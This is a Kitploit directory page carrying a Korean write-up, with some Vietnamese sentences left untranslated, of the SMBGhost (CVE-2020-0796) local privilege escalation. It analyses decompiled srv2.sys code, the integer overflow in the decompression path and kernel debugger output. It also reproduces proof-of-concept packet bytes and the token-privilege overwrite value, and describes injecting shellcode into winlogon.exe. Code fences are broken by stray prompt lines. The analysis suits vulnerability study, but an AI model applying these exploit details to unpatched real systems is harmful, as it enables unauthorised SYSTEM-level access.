Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2020-0796 | Kitploit
도구/GitHubGitHub/datntsec/cve-2020-0796
Privilege EscalationVulnerability AnalysisExploitationBinary Exploitation
GitHubdatntsec/cve-2020-0796

CVE-2020-0796

저장소 보기
15년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2020-0796


개요:

Windows 10/Server 1903 버전부터 SMBv3에 추가된 compression 기능에는 Microsoft가 2020년 3월 12일에 확인한 integer overflow 취약점이 존재합니다. 이 취약점으로 공격자는 Local Privilege Escalation(LPE) 및 Remote Code Execution(RCE)을 수행할 수 있습니다. 여기서는 LPE 취약점에 대해서만 다룹니다.

영향을 받는 버전:

  • Windows 10 Version 1903 for 32-bit Systems
  • Windows 10 Version 1903 for x64-based Systems
  • Windows 10 Version 1903 for ARM64-based Systems
  • Windows Server, version 1903 (Server Core installation)
  • Windows 10 Version 1909 for 32-bit Systems
  • Windows 10 Version 1909 for x64-based Systems
  • Windows 10 Version 1909 for ARM64-based Systems
  • Windows Server, version 1909 (Server Core installation)

SMB의 Decompress 과정 분석:

srv2.sys 파일을 분석하면 Decompress와 관련된 함수들이 다음과 같이 호출되는 것을 확인할 수 있습니다:``` js Srv2ReceiveHandler | | v Srv2DecompressMessageAsync | | v Srv2DecompressData -------> SrvNetAllocateBuffer | | v SmbCompressionDecompress | | v memcpy

root@kitploit:~
먼저 `Srv2ReceiveHandler` 함수가 호출되어 SMB 데이터 패킷을 수신하고 `ProtocolId` 프로토콜에 해당하는 함수를 호출합니다. `PrococolId`가 0x424D53FC이면 `Srv2DecompressMessageAsync` 함수를 호출하며, 이 함수는 데이터 패킷의 압축을 해제하기 위해 `Srv2DecompressData` 함수를 호출합니다. `Srv2DecompressData` 함수는 압축 해제 후 데이터를 저장할 `Alloc`을 할당하기 위해 `SrvNetAllocateBuffer` 함수를 호출하고, 이어서 데이터 패킷의 압축을 해제하기 위해 `SmbCompressionDecompress` 함수를 호출한 다음, 마지막으로 `memcpy` 함수를 호출합니다. 따라서 전체 Decompress 과정은 다음과 같은 주요 단계로 구성됩니다:
- 1. Allocate
- 2. Decompress
- 3. Copy

Microsoft가 제공한 문서에 따르면, `COMPRESSION_TRANSFORM_HEADER` 구조는 클라이언트와 서버 간에 압축된 데이터를 송수신하는 데 사용됩니다. 그 구조는 다음과 같습니다:``` c
typedef struct _COMPRESSION_TRANSFORM_HEADER
{
   ULONG ProtocolId;
   ULONG OriginalCompressedSegmentSize;
   USHORT CompressionAlgorithm;
   USHORT Flags;
   ULONG Offset;
} ;

여기서는 위의 두 가지 주요 필드에만 초점을 맞춥니다:

  • OriginalCompressedSegmentSize는 압축되지 않은 데이터 세그먼트의 크기(바이트)입니다.
  • Offset은 압축된 데이터의 시작 지점과 _COMPRESSION_TRANSFORM_HEADER 구조의 끝 지점 사이의 오프셋(바이트)입니다.

따라서 압축된 데이터 패킷은 다음과 같은 형태를 갖습니다:

``` c typedef struct _ALLOCATION_HEADER { // ... PVOID UserBuffer; // ... } ALLOCATION_HEADER, *PALLOCATION_HEADER;

NTSTATUS Srv2DecompressData(PCOMPRESSION_TRANSFORM_HEADER Header, SIZE_T TotalSize) { PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer( (ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset), NULL); If (!Alloc) { return STATUS_INSUFFICIENT_RESOURCES; }

root@kitploit:~
ULONG FinalCompressedSize = 0;

NTSTATUS Status = SmbCompressionDecompress(
    Header->CompressionAlgorithm,
    (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
    (ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
    (PUCHAR)Alloc->UserBuffer + Header->Offset,
    Header->OriginalCompressedSegmentSize,
    &FinalCompressedSize);
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
    SrvNetFreeBuffer(Alloc);
    return STATUS_BAD_DATA;
}

if (Header->Offset > 0) {
    memcpy(
        Alloc->UserBuffer,
        (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
        Header->Offset);
}

Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
return STATUS_SUCCESS;

}

root@kitploit:~
`Srv2DecompressData` 함수를 분석해 보면, 이 함수는 압축된 데이터 패킷 `COMPRESSION_TRANSFORM_HEADER`(Header)를 입력받아 `Header->OriginalCompressedSegmentSize` + `Header->Offset`의 합을 매개변수로 하여 `SrvNetAllocateBuffer` 함수로 메모리 영역(Alloc)을 할당한 다음, 압축된 데이터를 해제하고 압축되지 않은 데이터를 `Alloc->Buffer`로 복사한다.

![](https://assets.kitploit.com/production/public/readmes/24501/a5bf8b5059336fb3677162343bace0d0b45085f2eb89e42d85f81e032fe233dc.png)

Integer overflow는 `Srv2DecompressData`가 `SrvNetAllocateBuffer`를 호출할 때 발생한다. `SrvNetAllocateBuffer`는 실제로 64비트 값 2개를 받지만, `Srv2DecompressData`가 `SrvNetAllocateBuffer`를 호출할 때는 32비트 값(ULONG) 2개만 전달한다. 그런데 `OriginalCompressedSegmentSize`와 `Offset` 모두 ULONG이므로, 둘을 더하면 32비트보다 큰 수가 나올 수 있다. 그래서 integer overflow가 발생한다 (간단히 말하면 0xffffffff(`OriginalCompressedSegmentSize`)와 0x10(`Offset`)을 더하면 0xf0000000f가 되지만, `SrvNetAllocateBuffer`는 0x0000000f만 전달받는다).

![](https://assets.kitploit.com/production/public/readmes/24501/5ef540fac05ff782b005994410e1c43f18c0503fd134a57e1e6ed50c1fbc8219.png)

Integer overflow는 Alloc 메모리 영역을 잘못 할당하게 만들 수 있고(할당해야 할 크기가 실제 크기보다 작아짐), 이로 인해 buffer overflow가 발생할 수 있다:
![](https://assets.kitploit.com/production/public/readmes/24501/24c32abbbd764c35df1e73a00b5844711af77018cb54942a9738f5c9cac7ce4a.png)

Buffer overflow가 실제로 발생하는지, 그리고 어떻게 발생하는지 알아보기 위해 `SrvNetAllocateBuffer`와 `SmbCompressionDecompress` 함수를 분석해 보겠다.``` c
PALLOCATION_HEADER SrvNetAllocateBuffer(SIZE_T AllocSize, PALLOCATION_HEADER SourceBuffer)
{
v2 = *MK_FP(__GS__, 420i64);
  v3 = 0;
  v4 = a2;
  v5 = 0;
  if ( SrvDisableNetBufferLookAsideList || allocSize > 0x100100 )
  {
    if ( allocSize > 0x1000100 )
      return 0i64;
    v11 = SrvNetAllocateBufferFromPool(allocSize, allocSize);
  }
  else
  {
    if ( allocSize > 0x1100 )
    {
      _RCX = allocSize - 256;
      __asm
      {
        bsr     rdx, rcx
        bsf     rax, rcx
      }
      if ( (_DWORD)_RDX == (_DWORD)_RAX )
        v3 = _RDX - 12;
      else
        v3 = _RDX - 11;
    }
    v6 = SrvNetBufferLookasides[(unsigned __int64)v3];
    v7 = *(_DWORD *)v6 - 1;
    if ( (unsigned int)(unsigned __int16)v2 + 1 < *(_DWORD *)v6 )
      v7 = (unsigned __int16)v2 + 1;
    v8 = (unsigned int)v7;
    v9 = *(_QWORD *)(v6 + 32);
    v10 = *(_QWORD *)(v9 + 8 * v8);
    if ( !*(_BYTE *)(v10 + 0x70) )
      PplpLazyInitializeLookasideList(v6, *(_QWORD *)(v9 + 8 * v8));
    ++*(_DWORD *)(v10 + 20);
    v11 = (unsigned __int64)ExpInterlockedPopEntrySList((PSLIST_HEADER)v10);
    if ( !v11 )
    {
      ++*(_DWORD *)(v10 + 24);
      v12 = *(_DWORD *)(v10 + 44);
      v13 = *(_DWORD *)(v10 + 40);
      v14 = *(_DWORD *)(v10 + 36);
      LODWORD(v15) = sub_1C00110B0(*(int (**)(void))(v10 + 48));
      v11 = v15;
    }
    v5 = 2;
  }
  if ( v11 )
  {
    *(_WORD *)(v11 + 0x10) |= v5;
    *(_WORD *)(v11 + 0x12) = v3;
    *(_WORD *)(v11 + 0x14) = v2;
    if ( v4 )
    {
      v24 = *(_DWORD *)(v4 + 0x24);
      if ( v24 >= *(_DWORD *)(v11 + 0x20) )
        v24 = *(_DWORD *)(v11 + 0x20);
      v25 = *(void **)(v11 + 0x18);
      *(_DWORD *)(v11 + 0x24) = v24;
      memcpy(v25, *(const void **)(v4 + 0x18), v24);
      v26 = *(_WORD *)(v4 + 0x16);
      if ( v26 )
      {
        *(_WORD *)(v11 + 0x16) = v26;
        memcpy((void *)(v11 + 0x64), (const void *)(v4 + 0x64), 0x10i64 * *(_WORD *)(v4 + 0x16));
      }
    }
    else
    {
      *(_DWORD *)(v11 + 36) = 0;
    }
  }
  return v11;
}

위 코드는 IDA Pro의 Pseudocode에서 가져온 것으로, 꽤 이해하기 어려워 보입니다. 그러나 Zecops가 다시 작성한 코드를 보면 간단히 이해할 수 있습니다:``` c PALLOCATION_HEADER SrvNetAllocateBuffer(SIZE_T AllocSize, PALLOCATION_HEADER SourceBuffer) { // ...

root@kitploit:~
if (SrvDisableNetBufferLookAsideList || AllocSize > 0x100100) {
    if (AllocSize > 0x1000100) {
        return NULL;
    }
    Result = SrvNetAllocateBufferFromPool(AllocSize, AllocSize);
} else {
    int LookasideListIndex = 0;
    if (AllocSize > 0x1100) {
        LookasideListIndex = /* some calculation based on AllocSize */;
    }

    SOME_STRUCT list = SrvNetBufferLookasides[LookasideListIndex];
    Result = /* fetch result from list */;
}

// Initialize some Result fields...

return Result;

}

root@kitploit:~
`SrvNetAllocateBuffer` 함수는 할당할 크기를 입력받은 다음, 크기가 0x100100보다 큰지 확인하고, 크면 NULL을 반환합니다. 이 함수는 `SrvDisableNetBufferLookAsideList` 변수도 추가로 확인하지만, 이 변수에 대한 문서는 찾지 못했고 기본적으로 0으로 설정되어 있어서 그리 중요하지 않은 것 같습니다.

조건이 충족되면 함수는 입력받은 AllocSize를 기반으로 index 값을 계산하고, 계산된 index를 사용하여 `SrvNetBufferLookasides` 배열(이 배열은 9개의 요소를 가집니다)에서 값을 가져와 할당을 수행합니다. 어셈블리 코드에서 Zecops는 `python`을 사용하여 각 index에 해당하는 크기를 계산했습니다:``` py
>>> [hex((1 << (i + 12)) + 256) for i in range(9)]
[‘0x1100’, ‘0x2100’, ‘0x4100’, ‘0x8100’, ‘0x10100’, ‘0x20100’, ‘0x40100’, ‘0x80100’, ‘0x100100’]

따라서 크기가 0x1100 이하인 할당 요청의 경우 함수는 0x1100 크기의 메모리 영역을 할당하고, 0x1100보다 크고 0x2100 이하인 할당 요청의 경우 0x2100 크기의 메모리 영역을 할당하며, 더 큰 할당 요청에 대해서도 마찬가지입니다.

할당이 완료되면 함수는 Zcops가 ALLOCATION_HEADER라고 이름 붙인 구조체를 저장하는 주소를 반환합니다. 조사에 따르면 이 구조체에는 다음과 같은 데이터가 포함됩니다.

흥미로운 점은 ALLOCATION_HEADER가 ALLOCATION_HEADER->UserBuffer 바로 아래에 위치한다는 것입니다. 만약 UserBuffer를 버퍼 오버플로시킬 수 있다면, ALLOCATION_HEADER에 임의의 값을 쓸 수 있습니다.

다음으로 SmbCompressionDecompress 함수가 수행하는 작업을 살펴보겠습니다:``` c __int64 __fastcall SmbCompressionDecompress(int CompressionAlgorithm, __int64 DataCompressed, __int64 SizeCompressed, __int64 AllocUserbufferDecompress, unsigned int OriginalCompressedSegmentSize, __int64 FinalCompressedSize) { PVOID v6; // rdi@1 __int64 v7; // r14@1 __int64 v8; // r15@1 int v9; // ebx@2 int v10; // ecx@3 int v11; // ecx@4 signed __int16 v12; // bx@6 __int64 v13; // rsi@12 unsigned int v14; // ebp@12 int v16; // [sp+40h] [bp-28h]@1 SIZE_T NumberOfBytes; // [sp+70h] [bp+8h]@1

v16 = 0; v6 = 0i64; LODWORD(NumberOfBytes) = 0; v7 = AllocUserbufferDecompress; v8 = DataCompressed; if ( !CompressionAlgorithm ) goto LABEL_2; v10 = CompressionAlgorithm - 1; if ( v10 ) { v11 = v10 - 1; if ( v11 ) { if ( v11 != 1 ) { LABEL_2: v9 = 0xC00000BB; return (unsigned int)v9; } v12 = 4; } else { v12 = 3; } } else { v12 = 2; } if ( RtlGetCompressionWorkSpaceSize((unsigned __int16)v12, &NumberOfBytes, &v16) < 0 || (v6 = ExAllocatePoolWithTag((POOL_TYPE)512, 0i64, 0x2532534Cu)) != 0i64 ) { v13 = FinalCompressedSize; v14 = OriginalCompressedSegmentSize; v9 = RtlDecompressBufferEx2((unsigned __int16)v12, v7, OriginalCompressedSegmentSize, v8); if ( v9 >= 0 ) *(_DWORD *)v13 = v14; if ( v6 ) ExFreePoolWithTag(v6, 0x2532534Cu); } else { v9 = 0xC000009A; } return (unsigned int)v9; }

root@kitploit:~
위의 코드는 IDA의 pseudocode에서 가져온 것입니다. 위 코드가 무엇을 하는지 이해하지 못한다면, Zecops가 다시 작성한 코드를 볼 수 있습니다:``` c
NTSTATUS SmbCompressionDecompress(
    USHORT CompressionAlgorithm,
    PUCHAR UncompressedBuffer,
    ULONG  UncompressedBufferSize,
    PUCHAR CompressedBuffer,
    ULONG  CompressedBufferSize,
    PULONG FinalCompressedSize)
{
    // ...
 
    NTSTATUS Status = RtlDecompressBufferEx2(
        ...,
        FinalUncompressedSize,
        ...);
    if (Status >= 0) {
        *FinalCompressedSize = CompressedBufferSize;
    }
 
    // ...
 
    return Status;
}

이 함수는 기본적으로 압축된 데이터를 해제하여 Alloc->UserBuffer + Offset에 저장한다. 압축 해제에 성공하면 FinalCompressedSize 매개변수는 CompressedBufferSize 매개변수, 즉 Srv2DecompressData 함수에서 전달된 OriginalCompressedSegmentSize 값으로 설정된다.

Srv2DecompressData 함수로 돌아가서, SmbCompressionDecompress 함수를 실행한 후 함수는 계속해서 FinalCompressedSize와 OriginalCompressedSegmentSize 값이 같은지 비교하고, 반환된 Status가 0보다 작은지도 확인한다.``` c if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) { // bypass SrvNetFreeBuffer(Alloc); return STATUS_BAD_DATA; }

root@kitploit:~
위에서 말했듯이, 압축 해제가 성공하면 `FinalCompressedSize`와 `OriginalCompressedSegmentSize`는 같아지고 반환되는 `Status`는 0보다 크거나 같게 된다. 따라서 압축 해제가 성공하면 위의 if 문 안에 있는 코드는 실행되지 않는다. 이제 다음 코드 부분을 분석해 보겠다:``` c
if (Header->Offset > 0) {
        memcpy( // copy raw data into UserBuffer 
            Alloc->UserBuffer,
            (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
            Header->Offset);
}

이 코드는 Header->Offset > 0인지 확인합니다. Offset 값은 압축된 데이터 영역과 Header 끝 사이의 오프셋으로, 압축되지 않은 데이터 영역의 크기에 해당합니다. 그런 다음 memcpy 함수를 호출하여 압축되지 않은 데이터 영역을 Alloc->UserBuffer의 시작 부분에 복사합니다.

따라서 버퍼 오버플로우 취약점을 이용해 Alloc Header 영역을 덮어써서 Alloc->UserBuffer 포인터 값을 주소 A로 변경할 수 있다면, 주소 A에는 클라이언트가 보낸 압축 해제되지 않은 데이터가 포함됩니다. 더 명확히 이해하기 위해 Daniel García Gutiérrez(@danigargu)와 Manuel Blanco Parajón(@dialluvioso_)의 POC를 분석한 후 디버깅하여 자세히 살펴보겠습니다.

POC 분석:

POC는 다음 작업을 수행합니다:

  • 자신의 토큰을 가져옵니다.

  • 크기가 0x1110인 buffer 배열을 만들고, 배열의 앞부분에 0x1108개의 'A' 문자를 저장한 다음, 위에서 가져온 [Token + 0x40] 값을 저장합니다. 이 작업의 목적은 나중에 설명하겠습니다.

  • buffer 배열의 데이터를 압축하여 compressed_buffer 배열에 저장합니다.

  • 아래와 같은 데이터가 포함된 buf 배열을 생성합니다:``` c const uint8_t buf[] = { /* NetBIOS Wrapper */ 0x00, 0x00, 0x00, 0x33,

    root@kitploit:~
      /* SMB Header */
      0xFC, 0x53, 0x4D, 0x42, /* protocol id */
      0xFF, 0xFF, 0xFF, 0xFF, /* original decompressed size, trigger arithmetic overflow */
      0x02, 0x00,             /* compression algorithm, LZ77 */
      0x00, 0x00,             /* flags */
      0x10, 0x00, 0x00, 0x00, /* offset */
    

    };

root@kitploit:~
- Sau đó tạo một mảng `packet` có kích thước: `sizeof(buf) + 0x10 + len`, với `len` là kích thước của `buffer` sau khi nén ở trên (kích thước **data** của `compressed_buffer`).
- Copy dữ liệu của mảng `buf` vào `packet`, tiếp đến là copy giá trị `0x1FF2FFFFBC` vào và đến dữ liệu của mảng `compressed_buffer`:``` c
  memcpy(packet, buf, sizeof(buf));
	*(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC;
	*(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC;
	memcpy(packet + sizeof(buf) + 0x10, compressed_buffer, len);
  • SMB 서버에 packet을 전송합니다.
  • 위 단계를 거치면 POC 프로그램이 system 권한으로 승격되며, 다음으로 POC는 winlogon.exe를 OpenProcess하고 cmd를 여는 셸코드를 주입합니다.

아래에서 위에서 언급한 POC에서 이해가 안 되는 부분을 설명하겠습니다.

왜 buffer 배열을 0x1110 바이트 크기로 생성하고, 0x1108개의 'A' 문자와 하나의 [token + 0x40] 값을 저장해야 하는가. 전반적으로 이 POC의 목적은 SMB 내의 함수들을 사용하여 자신의 token->Privileges 값([Token + 0x40])을 변경하는 것입니다.

SMB 헤더 부분에서 우리는 original decompressed size와 Offset에 주목할 것이며, 각각 0xffffffff와 0x00000010 값을 가집니다. 이는 SMB가 integer overflow 오류에 걸리게 하여, 결국 Alloc->Buffer 배열을 0x1100 크기(< 0x1110 + Raw data size)로만 할당하게 하기 위함입니다.

헤더 뒤 0x10 바이트에 저장되는 값 0x1FF2FFFFBC는 SYSTEM 프로세스의 token->Privileges->Present 및 token->Privileges->Enabled에 저장되는 값입니다. 즉, 어떤 프로세스의 token->Privileges->Present와 token->Privileges->Enabled가 0x1FF2FFFFBC와 같다면 해당 프로세스는 SYSTEM 프로세스와 동일한 권한을 갖게 됩니다.

위 정보를 통해 POC가 SMB 내 함수들을 이용해 자신의 token->Privileges->Present 및 token->Privileges->Enabled 값을 0x1FF2FFFFBC로 변경하려는 것임을 유추할 수 있습니다. 정확히 확인하기 위해 kernel 디버그 부분으로 들어가 보겠습니다.

커널 디버그

먼저 Srv2DecompressData 함수 시작 부분에 중단점(breakpoint)을 설정합니다.``` 0: kd> bm srv2!Srv2DecompressData 1: fffff80717c47e60 @!"srv2!Srv2DecompressData" 0: kd> bl 1 e Disable Clear fffff80717c47e60 0001 (0001) srv2!Srv2DecompressData

root@kitploit:~
그런 다음 POC를 실행하면 `Srv2DecompressData` 함수가 호출되고, 커널은 `srv2!Srv2DecompressData` 함수의 시작 부분에서 멈춥니다.

헤더의 데이터를 확인합니다:``` 
1: kd> dd ffffd10e92347c10
ffffd10e`92347c10  424d53fc ffffffff 00000002 00000010
ffffd10e`92347c20  f2ffffbc 0000001f f2ffffbc 0000001f
ffffd10e`92347c30  403fffff 0f000741 701104ff 8dafb9e7
ffffd10e`92347c40  00ffffae 00000000 00000000 00000000

Đây là dữ liệu của mảng packet mà POC đã gửi đến SMB như phân tích POC bên trên, 0x10 byte đầu là phần SMB Header, 0x10 byte tiếp theo chứa 2 lần giá trị 0x1FF2FFFFBC là vùng raw data và 0x13 byte tiếp theo là dữ liệu buffer đã được nén. Như vậy toàn bộ kích thước của Header là 0x33 byte.

Đi đến lúc gọi hàm SrvNetAllocateBuffer để xem tham số truyền vào thì đúng là hàm SrvNetAllocateBuffer nhận vào tham số 0xf và null.

Giá trị trả về của hàm SrvNetAllocateBuffer là một con trỏ trỏ đến một cấu trúc ALLOCATION_HEADER (theo cách gọi trong bài viết này).``` 1: kd> dd rax ffffd10e94729150 ca9a7573 417b1178 32fe5f70 dc85f193 ffffd10e94729160 00000002 00000001 94728050 ffffd10e ffffd10e`94729170 00001100 00000000 00001278 75881029

root@kitploit:~
![](https://assets.kitploit.com/production/public/readmes/24501/e3a63fc2fa82d7b9a33041a4476fa6ffb5dccc8901448378bea85d7f2834e0a2.png)

Tiếp đến hàm `SmbCompressionDecompress` sẽ được gọi, nó sẽ giải nén và ghi dữ liệu được giải nén vào `Alloc->Buffer + Header -> Offset`

---

다음으로 `SmbCompressionDecompress` 함수가 호출되며, 압축을 해제하고 압축 해제된 데이터를 `Alloc->Buffer + Header -> Offset`에 기록합니다.```
1: kd> dd ffffd10e94728050
ffffd10e`94728050  1050118b 3318f0fa 00000000 00000000
ffffd10e`94728060  41414141 41414141 41414141 41414141
ffffd10e`94728070  41414141 41414141 41414141 41414141
...
ffffd10e`94729150  41414141 41414141 41414141 41414141
ffffd10e`94729160  41414141 41414141 afb9e770 ffffae8d
ffffd10e`94729170  00001100 00000000 00001278 75881029

1: kd> dt _sep_token_privileges ffffae8dafb9e770
nt!_SEP_TOKEN_PRIVILEGES
   +0x000 Present          : 0x00000006`02880000
   +0x008 Enabled          : 0x800000
   +0x010 EnabledByDefault : 0x40800000

이 시점에 Alloc->Buffer는 [Token + 0x40] 주소로 덮어써졌습니다. Srv2DecompressData 함수는 memcpy(Alloc->UserBuffer, (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER), Header->Offset);를 호출하여 raw Data를 Alloc->UserBuffer에 복사합니다. 하지만 Alloc->UserBuffer는 Token->Privileges로 덮어써졌으므로 raw Data는 Token->Privileges에 기록됩니다:``` 1: kd> dt _sep_token_privileges ffffae8dafb9e770 nt!_SEP_TOKEN_PRIVILEGES +0x000 Present : 0x0000001ff2ffffbc +0x008 Enabled : 0x0000001ff2ffffbc +0x010 EnabledByDefault : 0x40800000

root@kitploit:~
![](https://assets.kitploit.com/production/public/readmes/24501/be25e63dd205f4b2660e0cf51254f0801a5574fc20c90cbf1633364dff732026.png)

여기까지 POC 프로그램은 SYSTEM 권한을 획득했습니다. 다음 단계는 SYSTEM 프로세스(winlogon.exe)를 열고 cmd를 여는 셸코드를 주입하는 것입니다.

# 참고 자료
[SMB2 COMPRESSION_TRANSFORM_HEADER](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/1d435f21-9a21-4f4c-828e-624a176cf2a0)

[로컬 권한 상승을 위한 SMBGhost(CVE-2020-0796) 악용: Writeup + POC](https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/)

[CVE-2020-0796 Windows SMBv3 LPE 익스플로잇 POC 분석](https://paper.seebug.org/1165/)

[커널에서 권한 상승을 위한 토큰 악용](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/how-kernel-exploits-abuse-tokens-for-privilege-escalation)

<p align="right">
<b><i>DatntSec. Viettel Cyber Security.<i><b>
</p>
도구 다운로드